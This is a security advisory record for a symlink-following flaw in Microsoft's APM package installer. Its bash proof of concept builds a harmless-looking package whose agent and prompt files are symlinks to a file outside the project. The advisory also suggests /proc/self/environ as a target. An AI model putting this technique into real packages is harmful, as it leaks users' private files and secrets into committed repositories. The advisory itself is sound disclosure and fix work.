id: PYSEC-2026-2377
published: "2026-07-13T15:19:08.746424Z"
modified: "2026-07-13T15:19:08.746424Z"
aliases:
- CVE-2026-45539
- GHSA-q5pp-gvjg-h7v4
summary: "Microsoft APM: Symlinks under `.apm/prompts/` and `.apm/agents/` are dereferenced during `apm install`, copying host-local file contents into the project tree"
details: "## Summary\n\nTwo primitive integrators in `apm-cli` enumerate package files with bare `Path.glob()` / `Path.rglob()` calls and read each match with `Path.read_text()`, transparently following symbolic links.\n\nA symlink committed inside a remote APM dependency under `.apm/prompts/<x>.prompt.md` or `.apm/agents/<x>.agent.md` is preserved verbatim into `apm_modules/` on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories.\n\nThe package `content_hash`, the pre-deploy `SecurityGate` scan, and `apm audit` do not flag this. The deploy roots are not added to the auto-generated `.gitignore`, so the resulting files are staged by `git add` by default.\n\nThis was reproduced via the standard `owner/repo#tag` install flow against a real bare git repository. No `--force` or special flags were used.\n\n\n## Affected code\n\n### Sinks\n\n- `src/apm_cli/integration/prompt_integrator.py`  \n  `PromptIntegrator.find_prompt_files`: `package_path.glob(\"*.prompt.md\")` and `apm_prompts.glob(\"*.prompt.md\")`  \n  No symlink filter.\n\n- `src/apm_cli/integration/prompt_integrator.py`  \n  `PromptIntegrator.copy_prompt`: `source.read_text(\"utf-8\")`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `AgentIntegrator.find_agent_files`: `package_path.glob(\"*.agent.md\")`, `apm_agents.rglob(\"*.agent.md\")`, `apm_agents.rglob(\"*.md\")`, `apm_chatmodes.glob(\"*.chatmode.md\")`  \n  No symlink filter.\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `AgentIntegrator.copy_agent`: `source.read_text(\"utf-8\")`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `_write_codex_agent`: `source.read_text(\"utf-8\")`; resolved bytes are embedded into `developer_instructions` of the generated `.codex/agents/<name>.toml`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `_write_windsurf_agent_skill`: same dereference pattern; resolved bytes land in `.windsurf/skills/<name>/SKILL.md`\n\n### Safe pattern already present in the codebase\n\n- `src/apm_cli/integration/base_integrator.py`  \n  `BaseIntegrator.find_files_by_glob()` rejects:\n  - symlinks via `f.is_symlink()`\n  - hardlinks via `f.stat().st_nlink > 1`\n  - resolved paths escaping the package root\n\nThis helper is already used by `InstructionIntegrator.find_instruction_files`.\n\n### Documented contract that the affected integrators violate\n\nIn `src/apm_cli/install/phases/local_content.py`, `_copy_local_package` documents the intent of preserving symlinks in `apm_modules/`:\n\n> This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in `apm_modules/` are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.\n\nThe affected integrators are the consumer tools that follow the link without sandboxing.\n\n## Reproducer\n\nThis proof of concept is localhost-only and uses a sentinel file, not a real secret.\n\nIt uses a real bare git repository and `git config insteadOf` so the install path is the same one APM uses for real GitHub clones (`Repo.clone_from`). No network access is required.\n\n```bash\n# 0. Clean slate\nrm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home\nmkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home\n\n# 1. Sentinel file outside the project and outside the package\necho 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc_secret\n\n# 2. Build a benign-looking APM package with two symlinks in it\ncd /tmp/poc/work_repo\ngit init -q -b main .\ngit config user.email t@example.test\ngit config user.name 'PoC'\n\ncat > apm.yml <<'YML'\nname: helpful-agents\nversion: 1.0.0\ndescription: Helpful AI agent collection\nYML\n\nmkdir -p .apm/agents .apm/prompts\n\ncat > .apm/agents/helper.agent.md <<'AGENT'\n---\nname: helper\ndescription: A helpful assistant\n---\nYou are a helpful assistant.\nAGENT\n\nln -s /tmp/poc_secret .apm/agents/notes.agent.md\nln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md\n\ngit add -A\ngit commit -q -m \"initial\"\ngit tag v1.0.0\n\ngit ls-tree -r HEAD | grep '^120000'\n\n# 3. Bare repo\ngit clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git\n\n# 4. Rewrite the GitHub URL APM constructs onto the local bare repo\ncat > /tmp/poc_home/.gitconfig <<'GITCONFIG'\n[user]\n    email = poc@example.test\n    name  = PoC\n[url \"/tmp/poc/remote_bare/helpful-agents.git\"]\n    insteadOf = https://github.com/poc-author/helpful-agents\n[url \"/tmp/poc/remote_bare/helpful-agents.git\"]\n    insteadOf = https://github.com/poc-author/helpful-agents.git\n[safe]\n    directory = *\nGITCONFIG\n\n# 5. Victim project\nmkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}\n\ncat > /tmp/poc/victim_project/apm.yml <<'YML'\nname: victim-project\nversion: 1.0.0\ndescription: Victim project\ntargets: [copilot, claude, cursor, codex, windsurf]\ndependencies:\n  apm:\n    - poc-author/helpful-agents#v1.0.0\nYML\n\n# 6. Default install, no special flags\ncd /tmp/poc/victim_project\nHOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install\n```\n\n## Observed result\n\nDefault install output:\n\n```text\n[>] Installing dependencies from apm.yml...\n[>] Resolving poc-author/helpful-agents...\n[i] Targets: claude, codex, copilot, cursor, windsurf  (source: apm.yml)\n  [+] poc-author/helpful-agents #v1.0.0 @fa437578\n  |-- 1 prompts integrated -> .github/prompts/\n  |-- 10 agents integrated -> 5 targets\n[*] Installed 1 APM dependency in 0.1s.\n```\n\nThe source under `apm_modules/` remains a symlink:\n\n```bash\nls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md\n# lrwxrwxrwx ... .apm/agents/notes.agent.md -> /tmp/poc_secret\n```\n\nThe deploy roots receive plain regular files containing the sentinel:\n\n- `.github/agents/notes.agent.md`\n- `.github/prompts/welcome.prompt.md`\n- `.claude/agents/notes.md`\n- `.cursor/agents/notes.md`\n- `.codex/agents/notes.toml`\n- `.windsurf/skills/notes/SKILL.md`\n\nExample:\n\n```bash\ncat /tmp/poc/victim_project/.claude/agents/notes.md\n# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\n```\n\nThe deployed files persist after the original symlink target is removed:\n\n```bash\nrm /tmp/poc_secret\ncat /tmp/poc/victim_project/.claude/agents/notes.md\n# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\n```\n\n## Defenses that did not flag the result\n\n- The pre-deploy `SecurityGate.scan_files` walks with `followlinks=False` and continues past `is_symlink()` files. The symlinked source is not scanned.\n- `apm audit` against the post-install tree reports no findings.\n- The auto-written `.gitignore` contains only `apm_modules/`. The deploy roots are not excluded, and `git add -A` stages all deployed files alongside `apm.lock.yaml`.\n- The package `content_hash` is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.\n\n## Impact\n\nThe directly demonstrated impact is file-content disclosure.\n\nAny file readable by the user running `apm install` can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project's deploy directories as regular files.\n\n### Realistic downstream consequences\n\nThese were not separately demonstrated with real secrets, but they follow from the validated behavior:\n\n- The deploy directories (`.github/`, `.claude/`, `.cursor/`, `.codex/`, `.windsurf/`) are project-tracked by convention, and the auto-generated `.gitignore` does not exclude them.\n- In automation that regenerates and commits agent context, the leaked files can be pushed without human review.\n- A symlink target such as `/proc/self/environ` would resolve to the APM process environment at install time.\n\n## Why this is security-relevant and not intended behavior\n\nThis is not just \"a malicious package being malicious.\"\n\nThe codebase already contains the correct defense in `BaseIntegrator.find_files_by_glob()`, and that helper explicitly rejects symlinks, hardlinks, and containment escapes. `InstructionIntegrator` uses it. `PromptIntegrator` and `AgentIntegrator` do not.\n\nThe codebase also documents that preserving symlinks inside `apm_modules/` is acceptable only because the links are supposed to remain inert unless a consumer tool follows them safely. Here, APM itself is the consumer tool that follows them unsafely.\n\nThat architectural asymmetry makes this look like an implementation oversight, not intended behavior.\n\n## Recommended fix\n\nRoute both affected finders through the existing safe helper.\n\n```python\n# src/apm_cli/integration/prompt_integrator.py\ndef find_prompt_files(self, package_path: Path) -> list[Path]:\n    return self.find_files_by_glob(\n        package_path, \"*.prompt.md\", subdirs=[\".apm/prompts\"]\n    )\n```\n\n```python\n# src/apm_cli/integration/agent_integrator.py\ndef find_agent_files(self, package_path: Path) -> list[Path]:\n    files: list[Path] = []\n    files += self.find_files_by_glob(package_path, \"*.agent.md\")\n    files += self.find_files_by_glob(package_path, \"*.chatmode.md\")\n    files += self.find_files_by_glob(\n        package_path, \"*.agent.md\", subdirs=[\".apm/agents\"]\n    )\n    files += self.find_files_by_glob(\n        package_path, \"*.md\", subdirs=[\".apm/agents\"]\n    )\n    files += self.find_files_by_glob(\n        package_path, \"*.chatmode.md\", subdirs=[\".apm/chatmodes\"]\n    )\n    return files\n```\n\n### Optional defense in depth\n\n- In `copy_prompt`, `copy_agent`, `_write_codex_agent`, and `_write_windsurf_agent_skill`, explicitly raise on `source.is_symlink()` before reading.\n- Treat any symlink under a dependency's `.apm/` tree as a security finding during scanning.\n \n## Regression test idea\n\nAdd unit tests that create a fixture package with symlinks under `.apm/prompts/`, `.apm/agents/`, and `.apm/chatmodes/`, then assert that the symlink entries are filtered out before any read occurs.\n\nExample shape:\n\n```python\ndef test_symlink_under_apm_prompts_is_rejected(tmp_path):\n    pkg = tmp_path / \"pkg\"\n    (pkg / \".apm/prompts\").mkdir(parents=True)\n\n    sentinel = tmp_path / \"sentinel.txt\"\n    sentinel.write_text(\"REGRESSION-SENTINEL\")\n\n    (pkg / \".apm/prompts/leak.prompt.md\").symlink_to(sentinel)\n\n    result = PromptIntegrator().find_prompt_files(pkg)\n\n    assert all(not p.is_symlink() for p in result)\n    assert not any(p.name == \"leak.prompt.md\" for p in result)\n```\n\nA second test should mirror the same pattern for `AgentIntegrator.find_agent_files()`."
affected:
- package:
    name: apm
    ecosystem: PyPI
    purl: pkg:pypi/apm
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: 0.5.4
    - fixed: 0.13.0
references:
- type: WEB
  url: https://github.com/microsoft/apm/security/advisories/GHSA-q5pp-gvjg-h7v4
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-45539
- type: WEB
  url: https://github.com/microsoft/apm/commit/f85b9f54ad303159f9c448268eb7005c319fe02a
- type: PACKAGE
  url: https://github.com/microsoft/apm
- type: WEB
  url: https://github.com/microsoft/apm/releases/tag/v0.13.0
- type: PACKAGE
  url: https://pypi.org/project/apm
- type: ADVISORY
  url: https://github.com/advisories/GHSA-q5pp-gvjg-h7v4
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N